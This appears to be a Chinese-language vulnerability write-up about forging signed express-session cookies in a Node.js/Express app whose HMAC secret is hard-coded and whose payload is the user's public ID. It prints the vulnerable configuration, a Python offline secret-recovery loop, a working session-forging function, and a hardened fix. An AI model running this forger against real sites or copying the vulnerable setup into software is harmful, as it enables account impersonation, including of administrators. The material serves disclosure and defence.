摘要
cookie-signature
格式的密碼學邏輯、分析有漏洞的伺服器端程式碼,並追蹤從 secret 復原到 session 冒名的完整 forgery pipeline。討論將此缺陷置於利用
express-session
架構的更廣泛已知弱點中
[2][3]
,並以密碼學上健全的修復方案作結。
1. 簡介
Signed、stateless cookies 是 Node.js Web 應用程式中常見的 session 機制。此模式在 payload 之上疊加一個使用 Hash-based Message Authentication Code (HMAC-SHA256) ,使伺服器能夠偵測竄改,而無需為每個作用中的 session 維護伺服器端狀態。此方法的安全性完全取決於兩項假設:signing secret 是不可預測且保持機密的,且 signed payload 本身不構成敏感或可猜測的身分資料。當任一假設失效時,signature 就不再作為信任邊界運作,反而成為任何持有 secret 的一方皆可重現的可驗證計算。
此處檢視的案例顯示,這兩項假設在生產等級的 Node.js/Express 堆疊中同時失效,該堆疊原本依賴具有 RS256-signed access tokens 的 OAuth2/OIDC identity provider 進行主要認證 [1] 。儘管上游身份層相當健全,但應用程式自身的 session cookie 實作建立了獨立且較弱的信任邊界,完全繞過了上游保護措施。
2. 背景:Signed Session Cookie 的結構
cookie-signature
程式庫通常與
express-session
搭配使用,產生的 cookies 格式為
s:<payload>.<signature>
,其中 signature 是使用伺服器持有的 secret 對 payload 計算出的 HMAC-SHA256 digest 的 Base64 編碼
[1]
。在每次請求時,伺服器會根據收到的 payload 重新計算 digest,並與提供的 signature 進行比較;若不匹配則拒絕 cookie。此建構的安全性僅取決於 HMAC key 的保密性以及其保護之 payload 的不可預測性 — signature 證明「此值是由持有 secret 的人所產生」,而非「此值是為此特定已認證 session 所產生」。
- s:<payload>.<signature>
- // <payload> = the value being protected
- // <signature> = base64(HMAC-SHA256(SECRET, <payload>))
程式碼 1. cookie-signature 值的通用結構。
3. 根本原因分析
在 session middleware 設定和認證後 callback handler 中發現了兩個獨立的弱點。以下揭露的有漏洞程式碼片段分別進行分析。
3.1 Hard-Coded、可預測的 Signing Secret
第一個缺陷在於
express-session
設定本身:HMAC secret 被設定為字串常數
"session_secret_example"
— 與 cookie 自身的名稱相同。
- // VULNERABLE session configuration
- const session = require("express-session"); // 1. Import express-session middleware factory
- app.use(session({ // 2. Register session middleware on the Express app
- name: "session_secret_example", // 3. Cookie name — publicly visible in every response
- secret: "session_secret_example", // 4. ROOT CAUSE #1: HMAC key hard-coded to a guessable literal
- resave: false, // 5. Do not re-save unmodified sessions
- saveUninitialized: false, // 6. Do not create a session until something is stored
- cookie: {
- httpOnly: true, // 7. Cookie not readable via client-side JavaScript
- secure: true // 8. Cookie only sent over TLS
- }
- }));
程式碼 2. 有漏洞的 session middleware 設定。 第 7–8 行減輕了 XSS/傳輸暴露,但對保護 signing key 本身毫無作用。
由於 HMAC-SHA256 是確定性函數,任何擁有已知 (payload, signature) 配對的一方都可以離線測試候選 keys,直到計算出的 digest 與觀察到的 signature 匹配為止。在此案例中,正確的 secret 是在測試大約 110 個候選值後找到的,這些值來自常見預設值和從 cookie 自身名稱衍生的值 [1] — 這個暴力破解空間足夠小,使得 hard-coded 值在初始 cookie 擷取後,無需與即時伺服器互動即可輕易復原。
- import hmac
- import hashlib
- import base64
- payload = b"a9d4c7e2f1b6485ba3c8d901" # 1. Known payload captured from a legitimate cookie
- target = "Qm7xL2pR9vT4nK8cW1zF6hY3" # 2. Known signature paired with that payload
- def sign(secret):
- return base64.b64encode( # 3. Base64-encode the raw HMAC digest
- hmac.new(
- secret, # 4. Candidate secret under test
- payload, # 5. Fixed, known payload bytes
- hashlib.sha256 # 6. HMAC-SHA256 as used by cookie-signature
- ).digest()
- ).decode().rstrip("=") # 7. Strip padding to match cookie-signature's format
- for candidate in candidates: # 8. Iterate ~110 offline candidate secrets
- if sign(candidate.encode()) == target: # 9. Compare computed vs. observed signature
- print("SECRET =", candidate) # 10. Match found: secret recovered offline
- break
程式碼 3. 使用單一已知明文/signature 配對的離線 HMAC secret 復原 routine。
3.2 公開識別碼用作 Session Payload
第二個缺陷加劇了第一個缺陷:被 signed 的值不是隨機、高 entropy 的 session identifier,而是已認證使用者的資料庫主鍵(CUID),直接在登入後 callback 中指派。
- // VULNERABLE — session value contains the user's public ID
- app.get("/auth/microsoft/callback", async (req, res) => {
- const user = await msalExchange(req.query.code); // 1. Exchange OIDC auth code for user profile
- const token = sign("s:" + user.id); // 2. ROOT CAUSE #2: sign the public CUID directly
- res.cookie("session_secret_example", token, { // 3. Set the signed value as the session cookie
- httpOnly: true,
- secure: true
- });
- });
程式碼 4. 將 session payload 綁定至公開識別碼的有漏洞 callback handler。
由於相同的 identifier 會被多個已認證端點回傳 — 包括使用者設定檔查詢以及包含
id
、
createdBy
和
updatedBy
欄位的清單/詳細資料回應
[1]
— 攻擊者根本不需要猜測 payload 值。透過一般 API 使用可取得的任何 identifier,在建構上都是有效的 signing 目標。
4. 攻擊流程
結合這兩個根本原因,forgery 程序簡化為三個確定性步驟:identifier harvesting、離線 signature 計算,以及 cookie submit。
ordinary API response A->>A: sig = Base64(HMAC_SHA256("session_secret_example", targetUserId)) Note over A: Secret known from offline
candidate search (Code 3) A->>A: cookie = "s:" + targetUserId + "." + sig A->>API: GET /api/v1/auth/me
Cookie: session_secret_example=cookie API->>S: verify(payload, signature) S->>S: recompute HMAC_SHA256(SECRET, payload) S-->>API: signature matches — session valid API-->>A: 200 OK { id, name, role, allowedAccess } Note over A,API: No password, MFA, or
identity-provider token required
圖 1. 從揭露的攻擊方法重建的 forged-session 序列。
5. Exploit 建構
完整的 forgery 可以表示為單一 pure function,接受目標使用者識別碼並產生準備好傳送的 URL-encoded cookie 值,因為兩個必要的輸入 — secret 和 payload 格式 — 現在都是已知常數。
- import hmac
- import hashlib
- import base64
- import urllib.parse
- def forge(user_id, secret=b"session_secret_example"): # 1. Accept target ID; secret is the recovered constant
- sig = base64.b64encode(
- hmac.new(
- secret, # 2. Recovered HMAC key
- user_id.encode(), # 3. Target user's public CUID as payload bytes
- hashlib.sha256 # 4. Matches server-side cookie-signature algorithm
- ).digest()
- ).decode().rstrip("=") # 5. Unpadded Base64, per cookie-signature format
- return urllib.parse.quote(
- f"s:{user_id}.{sig}") # 6. Assemble and percent-encode for the Cookie header
- print(forge("d3f8a1c9e5b7426fa0c4d812")) # 7. Emits a drop-in session_secret_example value
程式碼 5. 單一 function session forger,結合復原的 secret 和 harvested identifier。
將產生的值作為
session_secret_example
cookie 提交至已認證端點(例如
/api/v1/auth/me
)會傳回
200 OK
回應,攜帶被冒名帳戶的設定檔、role 和 permission scope,沒有進一步的認證挑戰
[1]
。在揭露的參與過程中,此技術為 241 個測試 identifier 中的 95 個產生了已認證 sessions,包括持有管理權限的帳戶,並且顯示 forged administrative session 能夠執行持久化、狀態變更的寫入操作
[1]
。
6. 討論:為何上游 SSO 沒有幫助
應用程式的主要認證流程使用了具有 RS256-signed access tokens 的 OIDC-compliant identity provider,此方案在密碼學上是強健的,因為 signing key 是僅由發行者持有的非對稱 private key。然而,該應用程式在該流程之外額外疊加了自己的對稱式 HMAC session 機制,並將產生的 cookie(而非 access token)用作後續請求的身分操作性證明
[1]
。這說明了 session 架構中的一般原則:整體認證態勢的強度取決於請求必須通過的最弱信任邊界,而非最強的信任邊界。關於
express-session
部署的一般指引早已指出,該程式庫的預設值將 secret 管理、payload 設計和 store 選擇的全部責任交由實作者承擔
[2][3]
;此案例是該結構風險的具體實現,並因 key 從未從 placeholder value 的輪替而加劇。
7. 修復
揭露的修復方案以由高 entropy、隨機產生的 identifier 索引的伺服器端 session store 取代 symmetric、payload-exposed 設計,因此 cookie 本身不攜帶可重建的身分資訊。
- // FIXED — strong secret, server-side session store, random session ID
- const session = require("express-session");
- const RedisStore = require("connect-redis").default; // 1. Server-side store decouples cookie from identity
- app.use(session({
- name: "sid", // 2. Generic cookie name (no secret-name collision)
- secret: process.env.SESSION_SECRET, // 3. High-entropy secret from environment/secret manager
- resave: false,
- saveUninitialized: false,
- store: new RedisStore({ client: redis }), // 4. Session state lives server-side, not in the cookie
- cookie: {
- httpOnly: true,
- secure: true,
- sameSite: "lax" // 5. Additional CSRF-hardening attribute
- }
- }));
- // After identity-provider login, bind the user server-side only:
- req.session.userId = user.id; // 6. Cookie transmits a random SID, never the user ID
程式碼 6 修復設定。
除了此結構變更外,揭露的修復指導還包括使用密碼學隨機值(例如
openssl rand -base64 48
)立即進行 secret rotation、使所有先前發出的 sessions 失效、環境特定的 secrets,以及 rotation 後的日誌審查以查找異常 session 建立
[1]
。這些步驟不僅解決了特定缺陷,也解決了將自包含 signed 值視為充分身分證明而無需獨立伺服器端綁定的底層反模式。
8. 結論
此案例表明,如果 key 或 payload 是可預測的,則協議層級的密碼學正確性 — 帶有 signature 驗證的 HMAC-SHA256 — 不提供任何安全保障。hard-coded secret 和公開可取得的 identifier 的組合,將表面上防竄改的 session cookie 簡化為各方都可以離線計算的值。由於此缺陷完全存在於主要 identity-provider 流程之外的應用程式層級信任邊界中,強大的上游控制措施(如 RS256-signed tokens 和 MFA)沒有提供任何緩解效果。此發現強化了 session 設計的一般工程原則:signing secrets 必須以密碼學 randomness 產生,且絕不在不同環境中重用,且受 signature 保護的 payload 本身應該是高 entropy 值,在 session store 之外沒有任何意義。